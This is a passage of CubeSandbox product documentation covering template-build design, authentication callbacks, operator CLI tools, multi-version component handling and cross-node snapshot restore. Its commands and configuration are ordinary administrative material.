(`[a-z0-9-]`, max 64 chars) that sandbox create requests may reference instead of the generated `tpl-*` id. `PUT /cube/template/:template_id/alias` with an absent / null / `""` alias clears it. ### 3.2 Build job states `t_cube_template_image_job.status`: PENDING → RUNNING → BUILT | FAILED. Phase (`phase`) tracks the pipeline step (PULLING / BUILDING / UPLOADING / DISTRIBUTING). BUILT is terminal for the build itself; the resume pipeline (§3.5) then registers the artifact and distributes it. ### 3.3 Error mapping CubeMaster also exposes `POST /cube/template/migrate` (CLI spelling: `tpl merge`) to migrate a legacy READY template artifact from CubeMaster local disk into TC-managed storage. In operational documentation, the wording should stay consistent: **`tpl merge` solves historical artifact storage convergence, while `tpl redo` solves node-side redistribution / rebuild when needed.** The typical case is that historical artifacts still live on local disk and the cluster later enables `s3Backed=true`, so those artifacts must be migrated from local disk into S3-backed storage. If the same maintenance window also needs to repopulate target nodes, run `tpl redo` after `tpl merge` completes. The HTTP layer maps domain errors to API codes: `ErrTemplateIDRequired`, `ErrDuplicateTemplate`, `ErrNoTemplateNodes` → params error; `ErrTemplateStoreNotInitialized` → DB error; not-found → 130404. The staged split moves further error translation into the store layer over time. ### 3.4 Redo `POST /cube/template/redo` resumes a FAILED job. An artifact left READY by a job that failed during distribution is reused instead of rebuilt (reusing PENDING/BUILDING artifacts would read a half-written ext4). If the original artifact is no longer reusable, redo falls back to a full rebuild from `source_image_ref`. ### 3.5 Resume pipeline On a BUILT callback CubeMaster runs three resume steps: (1) register the remote-built artifact, (2) distribute to target nodes, (3) finalize the job row. Distribution resolving zero target nodes fails the job with `ErrNoTemplateNodes` and intentionally does NOT write definition/replica rows. ### 3.6 Job idempotency Invariant **I1**: at most one active (PENDING/RUNNING) job exists per template spec. The first-create job JSON and a REDO job's RequestJSON are written in the same DB transaction as the state flip, so a crash cannot leave a row that disagrees with its payload. COMMIT / SNAPSHOT\_\* / LEGACY jobs are excluded from the from-image idempotency window. ## 4. Routing split Public `/cube/template*` routes on CubeMaster: | Route | Served by | Why | | --- | --- | --- | | POST `/cube/template`, `/from-image`, `/redo`; DELETE; GET; PUT alias | CubeMaster (local) | cubelet RPCs, process-local caches, or forward-build env | | GET `/cube/template/build/:id/status`, GET `/from-image` | CubeMaster (local) | plain DB reads on master-owned rows; proxying made create-200/poll-502 when TC was down | | GET/POST `/cube/template/compat` | proxied to TC | uncached DB read/write | | GET/HEAD `/cube/template/artifact/download` | proxied to TC | file serving / S3 redirect | | GET `/cube/template/artifact/...` (rootfs, CA) | CubeMaster (local) | cubelet pulls from the shared disk via master | `RegisterTemplateRoutes` (the TC process) registers only the uncached pure-DB and file-serving subset. The two lists are pinned by contract tests (`TestCubeRoutesTemplateWritesStayOnCubeMaster`, `TestCubeRoutesTemplateProxyRemainder`, `TestTemplateCenterRoutesExcludeWritesAndCachedReads`). ## 5. Configuration ### 5.1 Naming Everything TC reads is spelled `CUBE_TEMPLATE_CENTER_*`. CubeMaster reads `CUBE_TEMPLATE_CENTER_ADDR` (where to submit builds) and `CUBE_TEMPLATE_CALLBACK_TOKEN` (§6.1). ### 5.2 Address wiring * Helm: `cube.templateCenterEndpoint` renders the in-cluster ClusterIP address into master's `CUBE_TEMPLATE_CENTER_ADDR` env and `template_center_addr` in conf.yaml. TC gets `CUBE_MASTER_ADDR` the same way. * one-click: `cubemaster-start.sh` defaults `CUBE_TEMPLATE_CENTER_ADDR` to `http://127.0.0.1:8090`; TC's conf.yaml gets `__CUBETEMPLATECENTER_*__` placeholders resolved at install. ### 5.3 Backward compatibility window Pre-rename spellings (`CUBE_TC_*`, `CUBE_MASTER_*`, `CUBEMASTER_*`) still work as fallbacks and log a deprecation notice (retrievable via `tcconfig.Warnings()`). The window exists because deployment scripts that were not updated in lockstep would otherwise silently write artifacts to the wrong directory, surfacing much later as download 404s. New deployments should use only the `CUBE_TEMPLATE_CENTER_*` names. ## 6. Security ### 6.1 Callback authentication The status callback payload is trusted wholesale by the resume pipeline — a forged BUILT report's artifact id/sha becomes the rootfs nodes boot from. The endpoint therefore requires a shared secret: TC sends `X-Cube-Template-Callback-Token`, CubeMaster compares it against `CUBE_TEMPLATE_CALLBACK_TOKEN` in constant time and rejects mismatches with 401\. Both ends fail closed when the variable is unset (503) — Helm (auto-generated `cube-template-callback-token` Secret key), one-click (generated into `.one-click.env`), and terraform (`random_password`) all wire it by default, so unset means misconfiguration; the only exception is the explicit single-binary-dev opt-in `CUBE_TEMPLATE_CALLBACK_INSECURE_NO_TOKEN=true`. Both the Master callback route and TC's internal routes are registered outside `GinRequestMiddleware`, so `checkAuth` can never answer them with an HTTP-200 business error that a `StatusCode == 200` client would read as success. ### 6.2 TC build endpoint TC's internal `/tc/api/v1/*` endpoints require the same shared token (see §6.1) and must additionally stay on a cluster-internal / VPC-internal address (the chart renders the optional CLB as internal-only; one-click binds TC to loopback by default). ## 7. Reconciliation ### 7.1 Progress snapshots Live pull progress goes to Redis; the durable terminal snapshot is flushed through the status callback. ### 7.2 Stale build detection The TC-side reconciler (pkg/reconcile) periodically scans for jobs whose progress reports stopped arriving and marks them FAILED. ### 7.3 Abandoned builds A TC restart abandons in-memory build state. The reconciler sweeps jobs stuck in RUNNING beyond the staleness threshold (default cadence 10 minutes, configurable via `CUBE_TEMPLATE_CENTER_RECONCILE_*`) and fails them; the client must retry (redo reuses a READY artifact when one exists, §3.4). This is mandatory, not optional: without it a crashed build would wedge the template forever behind invariant I1 (§3.6). ## 8. Health and readiness * CubeMaster: `GET /notify/health` — no DB or nodemeta dependency. * TC: `GET /health` — ready when the store is attached AND `nodemeta` has initialized. `nodemeta.Ready()` reports "Init completed", NOT "the release manifest exists": the manifest (`release-manifest.json`) is only shipped by the one-click bundle, and CubeMaster runs fine without it in Kubernetes, so its absence must not fail readiness. Declared component versions are a compat-scan input only. ## 9. Storage and concurrency ### 9.1 Replica count With `artifactStore.s3Backed=true` the durable copy lives in S3/MinIO and local disk is per-Pod build scratch, so multiple TC (and CubeMaster) replicas are supported: duplicate builds of the same spec are coordinated through DB session locks (§9.2, keyed by the template-spec fingerprint) and the losing replica reuses the winner's READY row instead of rebuilding. Without S3 the artifact store is node-local. Multi-replica is then ALLOWED but degraded, and the chart prints an install-notes warning: a download may land on a master that never built the artifact (foreign-artifact retry) and TC replicas duplicate builds of the same spec. The one combination validate still rejects is a mounted ReadWriteOnce artifact PVC with master.replicas>1 — it cannot attach on several nodes, so the extra replica stays Pending forever (a scheduling failure, not a degradation). A ReadWriteMany claim (CFS/NFS — TC mounts the master's claim by default) is genuinely shared and is neither rejected nor warned. ### 9.2 DB locks Cross-process mutual exclusion (e.g. artifact claim during build) uses MySQL named locks via `GET_LOCK`, replacing the per-process `sync.Map[artifactID]*sync.Mutex` which cannot span CubeMaster and TC. Lock names are normalized to stay under MySQL's 64-character limit. ### 9.3 Orphan GC A background sweep on CubeMaster removes artifacts whose reference count dropped to zero (template deleted, build failed) past their GC deadline, running the same three-phase cleanup as online deletion (§9.5). ### 9.4 Job ownership The jobs table has no owner column: after a TC restart any TC instance reconciles every stale job (the sweep itself is singleton per tick via the session lock, §9.2, regardless of replica count). Progress reports refresh the staleness clock. ### 9.5 Artifact deletion Three-phase last-owner cleanup (`cleanupArtifactFully`): Phase 1 (short TX, row FOR UPDATE) counts remaining references and marks the row CLEANUP\_PENDING; Phase 2 (no lock, idempotent) destroys ext4 on placement nodes; Phase 3 (short TX) re-checks references and status, drops placement rows, then notifies TC to remove the physical data. Only TC deletes the S3 object / local file / artifact row — CubeMaster doing it used to leak S3 objects with no CLEANUP\_PENDING row left for the backstop. ### 9.6 Node placements `ArtifactNodePlacement` rows record which nodes hold a copy; they drive both Phase 2 deletion and download locality. ### 9.7 Shared artifact store TC writes the ext4 and CubeMaster serves it to cubelet over `/cube/template/artifact/download` — both processes must see the same directory. one-click: same host filesystem. Helm: the same PVC (ReadWriteOnce is per-node, so the chart pins TC to master's node via required podAffinity; `colocateWithMaster=false` requires a genuinely shared ReadWriteMany volume). terraform: shared CFS when enabled, otherwise pod-local emptyDir with single-replica co-location. Because the directory is shared, a path recorded at build time remains valid for the reconciler even if TC has restarted since. ## 10. Known limitations and follow-ups Released with full awareness; each item lists the planned follow-up. * **37-day presigned URLs are not refreshed.** Artifacts uploaded to S3 get a long-lived presigned URL recorded at build time; there is no refresh job, so a template older than the presign TTL needs a redo to mint a new URL. * **envd-era redo goes straight to FAILED.** Redoing a template built by the legacy in-process builder has no reusable artifact record and fails fast rather than rebuilding; recreate such templates from the source image. * **TC still depends on CubeMaster packages.** TC reuses CubeMaster's config loader, log, recov, nodemeta and templatecenter store packages instead of a shared library, which is why TC's go.mod carries a `replace` on CubeMaster. Extracting the shared pieces into `pkgs/` is follow-up work. --- --- url: https://cubesandbox.com/guide/authentication.md --- # Authentication By default, Cube API Server allows all requests without any authentication. To enable authentication, start the server with an auth callback URL. When configured, every incoming request is validated by forwarding the credential header to your callback service — Cube API Server acts purely as a passthrough proxy for the auth decision. ## Enabling Authentication Pass `--auth-callback-url` at startup, or set the equivalent environment variable: ```bash # CLI flag ./cube-api --auth-callback-url https://your-auth-service/verify # Or via environment variable export AUTH_CALLBACK_URL=https://your-auth-service/verify ./cube-api ``` When `AUTH_CALLBACK_URL` is not set (the default), all requests are allowed without any credential check. ## How It Works When a request arrives, Cube API Server: 1. Extracts the credential from the request header (`Authorization: Bearer` takes priority over `X-API-Key`). 2. Forwards a `POST` request to the callback URL with the credential header, the original request path, **and the HTTP method**. 3. If the callback returns **HTTP 200**, the request is allowed through. 4. Any other status code causes the request to be rejected with **HTTP 401 Unauthorized**. ``` Client ──→ Cube API Server │ ├─ extract credential (Bearer / API Key) ├─ capture method (GET / POST / DELETE / PATCH …) │ └─ POST → your auth service │ 200 ─────┤──→ allow request non-200 ────┘──→ 401 Unauthorized ``` ## Sending Credentials from the SDK The E2B SDK passes the value of `E2B_API_KEY` as `Authorization: Bearer ` on every request. ```bash export E2B_API_KEY=your-actual-api-key ``` You can also send `X-API-Key` directly if your integration does not use the E2B SDK: ``` X-API-Key: your-actual-api-key ``` Both formats are accepted. `Authorization: Bearer` takes priority if both are present. ## Callback Request Format Cube API Server sends a `POST` to your callback URL with the following headers: | Header | Value | |--------|-------| | `Authorization` | `Bearer ` — present when the client used Bearer auth | | `X-API-Key` | `` — present when the client used API Key auth | | `X-Request-Path` | The original request path (e.g. `/templates/my-tmpl`) | | `X-Request-Method` | The HTTP method of the original request (e.g. `GET`, `DELETE`) | The two credential headers are mutually exclusive. Your callback receives whichever one the client sent. ::: warning Validate both path **and** method Multiple HTTP methods are mounted on the same path — for example, `/templates/:id` handles `GET` (read), `POST` (rebuild), `DELETE` (delete), and `PATCH` (update). A callback that only whitelists by path cannot distinguish a read from a destructive operation: a caller with read-only access could escalate to delete or overwrite a template. Always check **both** `X-Request-Path` and `X-Request-Method` in your callback. ::: ### Example callback (Python/FastAPI) ```python from fastapi import FastAPI, Request from fastapi.responses import Response app = FastAPI() VALID_KEYS = {"secret-key-1", "secret-key-2"} # Define which methods each key is allowed to use per path prefix. # Always check BOTH path and method — the same path (e.g. /templates/:id) # serves GET (read), DELETE, POST (rebuild), and PATCH (update). READ_METHODS = {"GET", "HEAD"} WRITE_METHODS = {"POST", "DELETE", "PATCH", "PUT"} READONLY_KEYS = {"readonly-key-1"} FULL_ACCESS_KEYS = {"secret-key-1", "secret-key-2"} @app.post("/verify") async def verify(request: Request): path = request.headers.get("X-Request-Path", "") method = request.headers.get("X-Request-Method", "").upper() # Extract credential (Bearer takes priority) key = None auth = request.headers.get("Authorization", "") if auth.startswith("Bearer "): key = auth.removeprefix("Bearer ").strip() else: key = request.headers.get("X-API-Key", "") if not key: return Response(status_code=401) if key in FULL_ACCESS_KEYS: return {} # 200 → allow all if key in READONLY_KEYS: if method in READ_METHODS: return {} # 200 → allow reads return Response(status_code=403) # deny writes/deletes return Response(status_code=401) ``` ## Error Responses | Scenario | HTTP Status | |----------|-------------| | No credential provided | `401 Unauthorized` | | Callback returned non-200 | `401 Unauthorized` | | Callback unreachable | `500 Internal Server Error` | --- --- url: https://cubesandbox.com/guide/cli-tools.md --- # CLI Tools CubeSandbox ships several host-side command-line tools for operations and debugging. The one-click package installs them on hosts. In Kubernetes deployments, node-local tools such as `cubecli` and `cube-runtime` are staged into component images or the host toolbox. Use these tools from trusted operator machines only. They bypass the public CubeAPI user experience and can inspect or mutate cluster/runtime state directly. ## Tool Summary | Tool | Run From | Talks To | Main Use | |------|----------|----------|----------| | `cubemastercli` | Control node, jumpserver, or any host that can reach CubeMaster | CubeMaster HTTP API, default port `8089` | Cluster-wide sandbox, template, snapshot, and volume operations | | `cubeopscli` | Control node, jumpserver, or any host that can reach CubeOps | CubeOps HTTP API, default port `3010` | Node list, isolate/unisolate, delete node | | `cubecli` | The compute node that runs Cubelet and containerd | Local Cubelet/containerd state | Per-node sandbox/container inspection, container shell, logs, storage cleanup, local runtime debugging | | `cube-runtime` | The compute node that hosts the sandbox MVM | Local CubeShim hybrid-vsock/debug console | Enter the guest MVM or run low-level VM snapshot helpers | The one-click installer creates `/usr/local/bin` symlinks for `cube-runtime`, `containerd-shim-cube-rs`, `cubecli`, `cubemastercli`, and `cubeopscli`. `cubemastercli` and `cubeopscli` are included in the release package and installed on the Terraform jumpserver. ## `cubemastercli` `cubemastercli` is the cluster-level management CLI. It targets CubeMaster, so commands usually need `--address` and `--port` unless they run on a host where the defaults are correct. ```bash cubemastercli --address --port 8089 --help cubemastercli --address --port 8089 version ``` Common cluster checks: ```bash # List all sandboxes known to CubeMaster. cubemastercli --address --port 8089 list --all # Inspect one sandbox. cubemastercli --address --port 8089 info --sandboxid ``` Template operations: ```bash # List templates. cubemastercli --address --port 8089 tpl ls # Show template metadata and node replicas. cubemastercli --address --port 8089 tpl info # Rebuild or redistribute a template on one node after adding compute capacity. cubemastercli --address --port 8089 tpl redo \ --template-id \ --node # Create a template from an OCI image. cubemastercli --address --port 8089 tpl create-from-image \ --image /: \ --writable-layer-size 1G \ --expose-port 49983 \ --probe 49983 # Migrate a READY template artifact into TC-managed storage. # Typical case: historical artifacts still live on local disk and the cluster later enables s3Backed=true. cubemastercli --address --port 8089 tpl merge # If the same maintenance also needs to repopulate nodes, run redo after merge. # Redo handles node-side redistribution and may rebuild when the old artifact is no longer reusable. cubemastercli --address --port 8089 tpl redo --template-id ``` For historical image-based templates, keep the wording consistent in runbooks: **`tpl merge` solves historical artifact storage convergence, while `tpl redo` solves node-side redistribution / rebuild when needed.** The common scenario is enabling `s3Backed=true` after templates already exist on CubeMaster local disk; `tpl merge` moves those legacy artifacts into S3-backed storage, and `tpl redo` is only needed if you also want to repopulate target nodes. Destructive operations should be used carefully: ```bash # Destroy one sandbox through CubeMaster. cubemastercli --address --port 8089 cubebox destroy ``` For multi-node deployment and template distribution context, see [Multi-Node Cluster](./multi-node-deploy.md). ## `cubeopscli` `cubeopscli` is the node management CLI. It targets CubeOps, so commands need `--address` and `--port` unless running on a host where the defaults are correct. ```bash cubeopscli --address --port 3010 node list cubeopscli --address --port 3010 node isolate cubeopscli --address --port 3010 node unisolate cubeopscli --address --port 3010 node delete cubeopscli --version cubeopscli version cubeopscli version --versiononly ``` Deleting a node requires it to be **isolated and free of sandboxes**; in a batch, a failure on one node does not stop the rest, and the command exits non-zero if any deletion fails. `delete` is aliased as `rm`; use `--force` to delete when the sandbox inventory cannot be verified (isolation is still required). `cubeopscli --version` and `cubeopscli version` print the release version (e.g. `cubeopscli v0.7.0 () built at `); `cubeopscli version --versiononly` prints just the semantic version. For adding, isolating, and deleting nodes, see [Node Operations](./node-operations.md). ## `cubecli` `cubecli` is a compute-node tool. Run it on the node that hosts the target sandbox unless the command explicitly targets Cubelet over a configured address. ```bash cubecli --help cubecli version ``` Common node-local checks: ```bash # List sandboxes on the local Cubelet. cubecli cubebox ls # Filter the local Cubelet sandbox list by sandbox ID. cubecli cubebox ls --sandbox # Inspect containerd metadata for a container ID. cubecli container info # Read stdout/stderr logs for a sandbox or template. cubecli logs cubecli logs --stderr # List local storage volumes known by Cubelet. cubecli storage ls # Dry-run local orphan storage cleanup before deleting anything. cubecli storage cleanup --dry-run # Show Cubelet network runtime tap state. Requires the Cubelet toolbox config and prompts for confirmation. cubecli network ls ``` To enter the sandbox container/rootfs view: ```bash cubecli exec -it bash ``` This creates an exec process through the local container runtime. It is useful for checking user processes, files, environment variables, command behavior, and container-level logs. It is not the same as logging into the guest MVM. Use unsafe commands only when you understand the local-node blast radius: ```bash # Example: remove all local sandboxes from this node only. cubecli unsafe rm --all ``` In multi-node clusters, local `cubecli` operations only cover the node where the command runs. Prefer `cubemastercli` for cluster-wide operations. ## `cube-runtime` `cube-runtime` is a lower-level runtime helper from the CubeShim workspace. Operators mostly use it to enter a sandbox MVM through the debug console. ```bash cube-runtime --help cube-runtime login --help ``` To log in to the sandbox MVM: ```bash cube-runtime login ``` `login` connects to the sandbox's local hybrid-vsock path and then to the debug console port. The default debug console port is `1026`; the default connection timeout is `10` seconds. ```bash cube-runtime login --port 1026 --timeout 10 ``` Use `cube-runtime login` when you need the guest VM view, for example to inspect guest kernel state, guest network interfaces, agent state, mounts, or MVM-level pause/resume behavior. `cube-runtime snapshot` exists for low-level snapshot workflows and is normally driven by higher-level Cubelet/CubeMaster paths. Prefer documented template and snapshot operations through `cubemastercli` unless you are debugging runtime internals. ## Choosing the Right Tool Use `cubemastercli` when the question is cluster-level: * Which nodes are healthy? * Which template replicas are ready? * Which node hosts a sandbox? * How do I redo a template after adding a node? * How do I destroy a sandbox through the control plane? Use `cubecli` when the question is node-local: * Is this sandbox present on this Cubelet? * Can I enter the sandbox container? * What does the local container log say? * Are there orphan local storage volumes? * What local tap/network state does Cubelet see? Use `cube-runtime` when the question is inside the MVM: * Can I enter the guest debug console? * What does the guest kernel or VM-level network see? * Is the problem below the container/rootfs layer? ## Safety Notes * Avoid pasting secrets, API keys, registry credentials, or private endpoint values into shell history. * Prefer `--json` where available when collecting evidence for issues; redact sensitive values before sharing logs. * In multi-node clusters, first identify the sandbox's host node with `cubemastercli info --sandboxid `, then run `cubecli` or `cube-runtime` on that compute node. * Treat `cubecli unsafe ...` and destructive `cubemastercli` commands as operational changes, not read-only diagnostics. --- --- url: https://cubesandbox.com/guide/component-multiversion.md --- # Component multi-version A node keeps several versions of each component on disk at the same time. When creating or restoring a sandbox, the version bound to the template is used; if it is not on the node, a copy is pulled from the CubeOps warehouse. This way, after a node upgrades its components to a new version, sandboxes built with the old version still restore and old templates still schedule — the upgrade does not affect them. The four components: | Component | What it is | | --- | --- | | `cube-shim` | Container runtime shim and cube-runtime | | `cube-image` | Guest root filesystem image | | `cube-agent` | The agent inside the guest | | `cube-kernel-scf` | Guest kernel | ## Background: why multi-version Previously a node had only one copy of each component (the current toolbox). When the upgrader bumped it, the version changed. The trouble is that a template is built against a specific version. Say the node bumps `cube-image` from v1 to v2: * A sandbox built with v1, on restore, can only pick up v2 — the version does not match, restore fails outright. * An old template replica built on v1 is flagged incompatible (STALE) and cannot be scheduled. * To recover, the old template has to be rebuilt and the node re-provisioned with components. New and old templates could not coexist on one node. With multi-version: every version is kept. v1 is still on the node, so an old sandbox restores against v1 and an old template still schedules — upgrading to v2 does not affect it at all. New and old templates coexist on one node; upgrades are no longer disruptive. ## How it runs When creating or restoring a sandbox, the flow is: ```mermaid flowchart TD A["Create/restore sandbox
needs component v1.2"] --> B{"Node inventory
has v1.2?"} B -- yes --> C["Use it"] B -- no --> D{"cubeops_addr
configured?"} D -- no --> E["❌ Fail: component version missing"] D -- yes --> F["Pull from CubeOps warehouse"] F --> G{"Warehouse has v1.2?"} G -- no --> H["❌ Fail: not in warehouse
→ import a one-click package"] G -- yes --> I["Download · extract · validate · write to disk"] I --> C C --> J["✅ Continue create"] ``` There are two places on the node disk: ``` /usr/local/services/cubetoolbox ← current toolbox: updated in place by the upgrader, what the node uses now /data/cubelet/root/component_versions/ ← versioned inventory: versions side by side, read at create/restore ├── cube-image/ │ ├── v1.0/ │ └── v1.2/ └── cube-kernel-scf/ └── v1.2/ ``` In one line: **a missing version is never papered over with the current toolbox — it is fetched from the warehouse.** So the current toolbox can be upgraded freely, and replicas already bound to an old version are unaffected — this is stable restore. New templates bind all four components; only history replicas migrated from an older version may have bound only two, and they do not get stable restore. ## What operators do **1. Import versions into the warehouse** (so nodes have something to download) On the warehouse home page, click “Import one-click package.” Only `cube-sandbox-one-click--{amd64,arm64}.tar.gz` is accepted, imported per package — one package writes several components at once; there is no “import only one.” Three sources: GitHub Release (defaults to allowing only `TencentCloud/CubeSandbox`), CNB Release (`CubeSandbox/CubeSandbox`), local tar.gz upload (max 8 GB). After submitting you do not have to watch it — go to the “Jobs” page for progress. **2. Stage large versions onto nodes ahead of time** (don’t let the first create stall on download) On a component’s detail page, click “Preinstall”, tick the nodes that don’t have it, and it downloads in the background. **Preinstall does not create a sandbox** — it only stages the version onto the node. `cube-image` and the kernel are large (GB-scale); downloading on first create will most likely exceed the 10-minute timeout — stage them first and it is fine. **3. Read coverage, clean up old versions** (manage disk) Each card on the warehouse home has a “coverage” line: green = everything covered, yellow = N nodes missing, grey “coverage unavailable” = CubeOps cannot list nodes. **The inventory is not cleaned up automatically**; old versions accumulate. Before deleting, check the “bound version” column of the compat matrix and confirm no replica still binds that version. Deleting a version in the console removes only the central copy in the warehouse — the node-local copy is not removed. ## Troubleshooting | Error | What it means | What to do | | --- | --- | --- | | `component version missing on node` | `cubeops_addr` is not set and the node lacks the version | Set `cubeops_addr` on the node and open access to CubeOps `:3010` | | `component version not in warehouse` | Address is set but the warehouse has no such version | Import the matching one-click package in the console | | Download failed (network error / 5xx / validation failed) | Warehouse has it but download or extract failed | Check the Cubelet logs `mod=warehouse`; retry or re-import | | Coverage shows “unavailable” | CubeOps cannot list nodes | Check CubeOps node management / Redis and the node-agent heartbeat | | Import job failed | The jobs page shows the reason: out of allow-list, missing token, source unreachable, bad package format | Fix per the message | ## Deployment “Fetch on miss” depends on two network paths: * **Node → CubeOps**: ask for the download URL and report the local version inventory. If this path is down, the node falls back to “only versions already on the node” — a miss fails outright. * **Node → object storage**: where the data actually comes from. Component packages live in a dedicated `cube-ops` bucket. All three deployments configure the CubeOps address for nodes automatically (override with `CUBE_OPS_ADDR`); what differs is the object-storage side: | Deployment | Works out of the box | Object storage | | --- | --- | --- | | **Helm** | ✅ | The chart's bundled MinIO by default. To use your own S3/COS, set `cubeOps.s3` and make sure nodes can reach that address. | | **One-click install** | ✅ | Reuses the volume MinIO/S3 connection automatically, in a dedicated `cube-ops` bucket. Nothing to configure. | | **Terraform TKE** | ❌ | The default stack ships no object storage, so the warehouse is disabled. Wire COS (or another S3) into cube-ops to enable it — the address must be reachable from the compute CVMs, which sit outside the cluster. | Warehouse data lives in S3, not on a CubeOps local disk, so CubeOps can run multiple replicas. The availability ceiling is the chart's bundled MinIO — a single instance; for HA, use external S3/COS. ## Configuration | Setting | Default | Notes | | --- | --- | --- | | `cubeops_addr` (Cubelet) | empty | CubeOps address, e.g. `http://:3010`. **Empty = no download**; a missing version fails outright. | | `cubeops_timeout` (Cubelet) | `10m` | Total time budget for pulling one version; leave headroom for GB-scale components. | | `CUBE_OPS_STORE_BACKEND` (CubeOps) | `s3` | `fs` = local/PVC warehouse; CubeOps serves signed download URLs. | | `CUBE_OPS_STORE_FS_PUBLIC_URL` (CubeOps) | empty | Node-reachable CubeOps URL when `backend=fs`. | | `CUBE_OPS_S3_ENDPOINT` (CubeOps) | empty | Object-storage address. **Empty = warehouse disabled**; CubeOps itself still runs. | | `CUBE_OPS_S3_NODE_ENDPOINT` (CubeOps) | same as endpoint | The address nodes download from; set it only when nodes cannot reach the default one (e.g. they sit outside the cluster). | | `CUBE_OPS_S3_BUCKET` (CubeOps) | `cube-ops` | Dedicated bucket for warehouse blobs. | | `CUBE_OPS_WAREHOUSE_WORK_DIR` (CubeOps) | `/var/tmp/cubeops-warehouse` | Local scratch space for unpacking imports; give it room for the largest package. | | `CUBE_OPS_WAREHOUSE_GITHUB_REPOS` / `CNB_REPOS` | see allow-lists above | Import allow-lists, comma-separated, overridable. | | `CUBE_OPS_WAREHOUSE_*_TOKEN` | empty | Only needed for private releases. | Two things to know about the `cube-ops` bucket: * **Permissions**: give CubeOps read/write access to the bucket, including multipart uploads. The minimum IAM action list is in the CubeOps README. * **Credentials**: nodes hold no S3 credentials (unlike s3fs volumes) — they only get a short-lived signed download URL. That also means anyone who can write the bucket can change the binaries nodes execute; treat the AK/SK as a trust boundary. > `/internal/warehouse/*` called by nodes carries no JWT (identified only by `X-Cube-Node-ID`, same treatment as `/internal/meta`) — **expose it only to the compute-node network, never to the public.** Admin APIs go through `/opsapi` and carry JWT. --- --- url: https://cubesandbox.com/guide/cross-node-snapshot.md --- # Cross-Node Snapshots (Pause / Resume / Snapshot) ::: tip Deployment scope CubeS3lvol is **off by default** on both one-click and Kubernetes deployments. To enable it see [§2 Configuring the S3 backend](#_2-configuring-the-s3-backend); for resource and storage planning see [§3 Storage requirements on every node](#_3-storage-requirements-on-every-node). ::: CubeSandbox persists a sandbox as a **package** of three objects (rootfs / memory / metadata) so you can **Pause**, **Resume**, and take a **Snapshot**: * **Pause / Resume**: freeze a running sandbox (memory + filesystem) into a pause package, then restore it on the same node or another compatible node. * **Snapshot**: persist that state as a reusable image. You can create a new sandbox from it (FromSnap) or roll the original sandbox back. With the default `xfs` backend the package stays on **the node that created it**. Resume and FromSnap must return to that node. If the node is down, isolated, or out of capacity, a paused sandbox cannot be scheduled and a snapshot cannot be started elsewhere. With the `s3` backend the package is uploaded to **cluster-shared S3** (managed by [CubeS3lvol](https://github.com/TencentCloud/CubeSandbox/blob/master/CubeS3lvol/README.md)). **Any compatible node can fetch it on demand**, which is what makes cross-node Pause / Resume and FromSnap possible. The XFS root disk itself never moves; what migrates is the snapshot / pause package, not the live VM disk. For SDK snapshot / rollback / clone APIs see [Snapshot, Rollback & Clone](./snapshot-rollback-clone.md). This page covers the cross-node restore conditions, scheduler rules, and CLI fields. *** ## 1. Conditions for cross-node restore Resume / FromSnap landing on a node other than the origin is **not** the default. All of the following must hold. ### 1.1 S3 backend, chosen when you build the template The sandbox must already be running on the S3 backend. You **cannot switch backends later**. Declare it when you **create the template**; that choice is inherited and locked for every derived object (pause packages, snapshots, and sandboxes created from those snapshots). * Only `backend=s3` templates / sandboxes upload the package to shared S3 and can restore cross-node. `xfs` templates cannot. * Inheritance: `template(s3)` → `sandbox(s3)` → `pause package(s3)` / `snapshot(s3)` → `sandbox created from snapshot(s3)`. You cannot change the chain to `xfs` mid-way, or convert an `xfs` object to `s3`. > An **xfs ↔ S3 conversion tool** is planned for existing templates and sandboxes. In this version, pick the backend at template-create time. Create a template on S3: ```bash # Omit --backend to keep the historical xfs path cubemastercli tpl create-from-image \ --image \ --writable-layer-size 4Gi \ --backend s3 \ --expose-port 49983 \ --probe 49983 \ --probe-path /health ``` Confirm `BACKEND` is `s3` with `cubemastercli cubebox template list`. Sandboxes and snapshots created from that template inherit `s3` (see [CLI fields](#_4-cli-fields-for-cross-node-restore)). ### 1.2 Origin first; cross-node only when the origin cannot schedule The scheduler (`restoreplace`) **always prefers the origin node**. It leaves that node only when the origin cannot take the job **and** the snapshot is allowed to restore cross-node: ``` ┌─────────────────┐ ┌──────────────────┐ yes ┌──────────────────┐ │Resume/FromSnap │──▶│ origin schedulable?│────▶│ restore on origin │ └─────────────────┘ └────────┬─────────┘ └──────────────────┘ │ no ▼ ┌──────────────────┐ yes ┌──────────────────┐ │ CanCrossNode? │─────▶│ cross-node │ │ backend=s3 ∧ │ │ (compatible peer)│ │ remote=ready ∧ │ └──────────────────┘ │ kernel/cpu match│ no └────────┬─────────┘ ▼ ┌──────────────────┐ │ error: cannot │ │ restore cross- │ │ node │ └──────────────────┘ ``` In short: if the origin is up and schedulable, restore stays there. If it is gone or unschedulable **and** the snapshot meets the cross-node conditions, restore moves. Otherwise the API fails; it will not pick an incompatible node. An [isolated](./node-operations.md) origin is unschedulable, which is the usual way to force a cross-node Resume in tests. A sandbox with a **host-mount** is pinned to the origin (`PinToOrigin`) and will not cross even when `remote_status=ready`. External storage changes the placement behavior: * **Raw host mounts remain origin-only.** A host path has no cluster-wide identity, so an identical path string on another node is not considered portable. * **Plugin Volumes may attempt cross-node restore.** For FromSnap, Master resolves each current Volume record and sends its driver metadata to the target Cubelet. For Resume, Master validates the recorded Volume IDs and Cubelet reads the attach metadata from the pause package. In both paths, Cubelet checks that the driver is registered locally and calls `Attach` before starting the VM. * The scheduler currently does **not** model Volume portability, topology, multi-attach support, or driver availability. Operators must configure the required driver and backend access on every eligible node. A missing Volume, missing target driver, or failed `Attach` fails the FromSnap/Resume operation; CubeSandbox does not start the VM without its required Volume. * FromSnap may attach the same read-write Volume while the source sandbox is still running. Use a backend that safely supports the intended sharing pattern; otherwise stop the source first or use a read-only mount. The S3 requirement on this page applies to the **VM snapshot package backend**, not necessarily to the plugin Volume's own backend. For example, an S3 VM snapshot may restore with an NFS, CephFS, or S3-backed plugin Volume if the target node can attach it. ### 1.3 The snapshot must be remotely `ready` Master enforces this from DB state (not from client input): > `CanCrossNode(backend, remote_status)` is true only when **`backend == s3` and `remote_status == ready`**. * `backend` must be `s3` so other nodes can fetch the objects from shared S3. * `remote_status` must be `ready`: Pause / Commit / AppSnapshot have finished exporting rootfs, memory, and metadata. The state machine is `pending → inprogress → ready / failed`. **Only `ready` unlocks cross-node restore.** > **Not-ready snapshots are still usable on the origin.** If `remote_status` is not `ready` (`pending`, `inprogress`, `failed`, or empty on `xfs`), you can still resume or create from the snapshot, but `CanCrossNode` is false and the scheduler will only place the job on the **origin**. Cross-node restore unlocks after `remote_status` becomes `ready`. 